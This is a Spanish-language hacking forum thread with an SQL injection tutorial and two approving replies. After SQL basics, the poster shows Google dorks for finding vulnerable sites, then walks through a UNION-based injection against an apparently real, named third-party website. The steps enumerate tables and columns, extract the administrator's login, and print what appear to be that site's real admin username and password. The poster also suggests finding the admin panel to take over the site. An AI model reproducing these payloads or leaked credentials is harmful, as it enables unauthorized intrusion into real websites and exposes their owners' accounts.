comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

SQL Injection desde cero

  • 2 Respuestas
  • 2211 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5396
  • Actividad:
    36.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Marzo 22, 2012, 08:47:01 am »
Introducción:
 
 Hola a todos, En este tutorial les enseñare SQLi desde cero.
 Al  ser un tutorial con fines educativos y no destructivos. Solamente veremos cómo obtener el usuario y contraseña de administrador. El resto corre por cuenta de cada uno lo que quiera hacer con el acceso…
 Se  comenzara buscando una web cualquiera en google, buscaremos un lugar en  la web para inyectar, haremos la inyección y obtendremos los datos de  acceso. Pero antes comenzaremos con un poco de teoria.
 
 SQL
 
 Es un lenguaje normalizado, estructurado de consultas a bases de datos. Esto quiere decir, que en casi todas las consultas a distintos tipos de bases de datos, se usan las mismas sentencias.
 SQL, cuenta con dos comandos, que son los DLL (permiten crear y definir bases de datos, campos e índices) y por otro lado los comandos DML (permiten generar consultas, filtrar y extraer datos de la base de datos).
 Nos centraremos en ese último, ya que SQLi, consiste en generar consultas a la base de datos para que nos devuelva datos de interés.
 Los comandos DML son:
 
 Delete: Permite eliminar registros de la base de datos.
 Update: Modifica valores de campos previamente creados.
 Select: Sirve para consultas registros en la base de datos.
 Insert: Carga lotes de datos en una base de datos.
 
 Clausulas
 
 Las clausulas son condiciones de modificación. Y se emplean para definir datos o manipularlos.
 Entre las clausulas tenemos:
 
 Order By: Ordena registros seleccionados
 Group by: separa registros
 Having: expresa una condición que debe satisfacer cada grupo
 From: Sirve para especificar una tabla de la cual se quieren obtener registros
 Where: Sirve para las condiciones que debe reunir un registro para ser seleccionado
 
 Operadores Logicos
 
 Los operadores lógicos o conectivos lógicos se utilizan para conectar dos formulas para que el valor de verdad. Siempre darán un valor de verdad verdadero o falso y se leen de izquierda a derecha.
 Los operadores lógicos usados son:
 
 Or: Evalua dos condiciones, devolviendo un valor de verdad verdadero si alguna de las dos es verdadera
 And: Evalua dos condiciones y devuelve un valor de verdad verdadero, si ambas condiciones son iguales.
 Not: Devuelve un valor contrario a la expresión. Si la expresión es True, devolverá False y viceversa
 
 Operadores de comparación:
 
 
 Los operadores de comparación, son utilizados para comparar dos valores o formulas.
 Los operadores son:
 
 <    Menor que >    Mayor que
 <>  Distinto que
 >=  Mayor o igual que
 <=  Menor o igual que
 Between: especifica un intervalo de valores
 Like: Compara un modelo
 In: Especifica registros en una base de datos   
 
 Funciones de agregado
 
 Estas formulas se utilizan dentro de la clausula  Select en grupos de registros para devolver un único valor que se aplica  en un grupo de registros.
 
 Max: devuelve el valor más grande de un campo  específico
 Min: Devuelve el valor más chico de un campo especifico.
 Sum: Se utiliza para devolver la suma de todos valores de un campo  específico
 Avg: calcula el promedio de un campo específico Count:  Devuelve el numero de registros de la selección Limit: devuelve un rango  de resultados deseados en lugar de todos los que puede devolver dicha consulta.
 
 Otras consultas
 
 Veremos a continuación otras consultas que  se suelen utilizar en las inyecciones SQL.
 
 Union: Sirve para combinar  el resultado de dos consultas juntas.
 Information_schema.tables:  Devuelve información de una tabla determinada 
 Information_schema.columns: Devuelve información de una columna  determinada
 Concat: Concatena los resultados de varios campos diferentes
 Group_concat: devuelve como resultado una cadena de concatenación de un grupo de valores no nulos Char: se utiliza para insertar caracteres de control en cadenas de caracteres.   
 
 SQLi
 
 Este tipo de ataque consiste en inyectar código SQL en una sentencia SQL ya programada, con el fin de alterar el funcionamiento de la base de datos.
 Lo que haremos a lo largo de este tutorial, será inyectar código SQL a una web, con el fin de ocasionarle errores a la base de datos para que nos devuelva datos que usaremos en nuestra inyección y finalmente obtener los datos de acceso al panel de administración.
 
 Dorks:
 
 Los Dorks son palabras claves que usaremos para encontrar sitios vulnerables.
 Un ejemplo de dork seria el siguiente: noticia.php?id=
 En google deberíamos poner lo siguiente: inurl: noticia.php?id=
 Esto nos arrojara muchos resultados de sitios que quizás ya no sean vulnerables. Pero es por eso que debemos ir alternando Dorks, hasta que logremos dar con una.
 El método para generar dorks seria cambiar el noticia por otro nombre, por ejemplo news, view, photo, etc. Y el resto quedaría igual.
 Otra de las cosas a tener en cuenta, es que después de realizar la búsqueda, ir a las páginas del final que son las que más desactualizadas están y probablemente sean vulnerables.
 Veremos a continuación un ejemplo:
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Coloco el Dork en google y comienzo a navegar, buscando webs que puedan llegar a ser vulnerables. Yo encontré esta:
 
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Como se puede ver, ahí en la url aparece el dork que coloque en google
 
Pero… ¿cómo me doy cuenta si es o no vulnerable?
 
Acá empieza la parte entretenida. Lo que debemos hacer es borrar lo que esta después de id= y provocar un error en la base de datos.
 
¿Y de qué forma podemos provocar un error?
 
Fácil… colocando caracteres no permitidos, por ejemplo una comilla, un numero negativo, etc. Colocare un -1 (uno negativo) y veremos cómo se comporta la web
 
Pagina original:
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Pagina con el -1:
 
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Se puede notar que no han cargado elementos dentro del cuerpo de la página, esto da señal a que puede ser vulnerable.

Ahora probemos colocando una comilla:
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Nos tira un error de la base de datos:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Fatal error: Call to a member function RecordCount()on a non-object in /home/samg/public_html/include/objetos/Noticia.class.phpon line 333
Con esto podemos ver que pudimos generar un error en la consulta a la base de datos.
 
SQL Injection
 
Ahora probaremos si realmente es vulnerable o no a SQLi. Para ello, después del id= colocaremos lo siguiente:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
-1+UNION+SELECT+1,2--
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Y en mi caso, en el cuerpo de la página, me sale el mismo Fatal error que cuando ingrese la comilla simple.
Lo que debemos hacer ahora, es comenzar a añadir números, hasta que ese error desaparezca.
 
La inyección seria así:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
-1+UNION+SELECT+1,2,3--
1+UNION+SELECT+1,2,3,4--
1+UNION+SELECT+1,2,3,4,5--

Y asi sucesivamente hasta que el error desaparezca. En mi caso quedo hasta el numero 12, pero hay ocasiones en las que puede superar los 60!
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Cuando el error ya no este, nos volverá a mostrar la pagina, y curiosamente contiene uno o mas  números en el cuerpo de la web
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Ese 5 y ese 2, son números de tablas, la web es vulnerable a SQLi. En este caso debo elegir uno de los dos números, yo seleccionare el 5 por que es el mas vistoso, pero en definitiva se puede usar cualquiera.
Usare a ese 5 para que me muestre los nombres de las tablas en su lugar.
Lo que sigue ahora es agregar después del último número de la url el siguiente código:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
+from+information_schema.tables--
Quedaría en mi caso, así:
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Y reemplazar el número 5 (que fue el numero que nos apareció en el cuerpo de la pagina) por table_name
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Una vez hecho esto, presionamos enter y veremos que en el cuerpo del mensaje nuestro numero desapareció y apareció el nombre de una tabla en su lugar.
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Lo que debemos hacer ahora, es agregar después de information_schema.tables lo siguiente:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
+limit+2,1--
Quedaría algo así:
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Y si miramos el cuerpo del mensaje, el nombre de la tabla, cambió
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Lo que sigue, es ir sumándole +1 al limit para que valla de forma creciente, hasta encontrar una tabla que pueda contener los datos del administrador de la página
 El limit debería ir de la siguiente forma:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
+limit+2,1--
+limit+3,1--
+limit+4,1--
+limit+5,1--

Y así sucesivamente hasta hallar una tabla importante. En mi caso llegue hasta la 38 y encontré la de administradores.
 
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Lo que sigue, es convertir ese nombre a ASCII. Asique buscaremos en google algún conversor de string a ascii.
 
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
El resultado de samg_administradores es el siguiente:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
115 97 109 103 95 97 100 109 105 110 105 115 116 114 97 100 111 114 101 115
Ahora sacaremos los espacios que hay entre los números y colocaremos comas entre los valores:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115
Guardaremos esa cadena de números para usarla luego en nuestra inyección.
Ahora volvemos a nuestra inyección y cambiaremos table_name por group_concat(column_name) y information_schema.tables por

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
information_schema.columns+where+table_name=char(115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115)--
y quitamos el +limit+ con sus valores numéricos.
 
Debería quedar así:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
http://www.samg.es/web/noticias/noticia.php?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115)--
Si observamos, el cuerpo de la página, veremos la composición de las columnas de la tabla
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Las que me sirven en mi caso son las columnas de Login y Password, asique ahora reemplazaremos en la inyección lo siguiente:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
group_concat(column_name) por concat(Login,0x3a,Password)
Concat significa concatenar, algo similar que unir. Y el 0x3a, son dos puntos. Esto es para que el usuario y la contraseña no aparezcan juntas, sino que los separe los dos puntos. Teniendo un resultado algo así:
 
 
Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Usuario:Contraseña
Y borraremos desde information_schema.columns en adelante y dejaremos solamente el +from+
Y luego de ese from, colocamos el nombre de la tabla, que en mi caso se llamaba: samg_administradores

Quedándome lo siguiente:
 
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Y en el cuerpo de la página, podremos ver los datos del administrador:
 
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Usuario: samg
Contraseña: samg06

En caso de querer hackear la web, solo resta encontrar el panel de admin con algún admin finder. Pero como dije al principio del tutorial, este paper es con fines educativos.
Espero que les haya gustado y que les sea útil.
 
 ANTRAX


Desconectado Cronos

  • *
  • Underc0der
  • Mensajes: 1000
  • Actividad:
    0%
  • Reputación 1
  • Mientras mas se, me doy cuenta de lo poco que se.
    • Ver Perfil
    • Email
  • Skype: cronos.labs
« Respuesta #1 en: Marzo 22, 2012, 11:14:23 am »
Que lindo tutorial.. y que lindo estar de vuelta :)
Saludos,, Cronos

Desconectado 5TU4RT

  • *
  • Underc0der
  • Mensajes: 111
  • Actividad:
    0%
  • Reputación 0
  • Si se puede imaginar... se puede programar.!
    • Ver Perfil
    • Underc0de
    • Email
« Respuesta #2 en: Marzo 22, 2012, 02:29:12 pm »
Que buen Tutorial ANTRAX, Gracias por compartir!
Sera de ayuda para muchos.

Underc0de devuelta! 8)

SALU2
Si se puede imaginar... se puede programar.!

 

¿Te gustó el post? COMPARTILO!



Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 1971
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr
Analisis de un Buffer Overflow desde codigo muerto

Iniciado por PerverthsO

Respuestas: 1
Vistas: 1730
Último mensaje Junio 02, 2015, 07:24:05 am
por .:UND3R:.
Videos Metasploit desde básico hasta avanzado

Iniciado por dvdr

Respuestas: 24
Vistas: 19255
Último mensaje Abril 28, 2016, 11:40:55 am
por Satyricon
Subir Shell desde la Administración de un foro SMF

Iniciado por Rootscale

Respuestas: 2
Vistas: 3646
Último mensaje Junio 28, 2012, 12:00:20 am
por hdbreaker
Desde una webshell hasta la cocina - By p0is0n-123

Iniciado por Pr0ph3t

Respuestas: 3
Vistas: 2584
Último mensaje Septiembre 22, 2012, 01:34:26 pm
por zoro248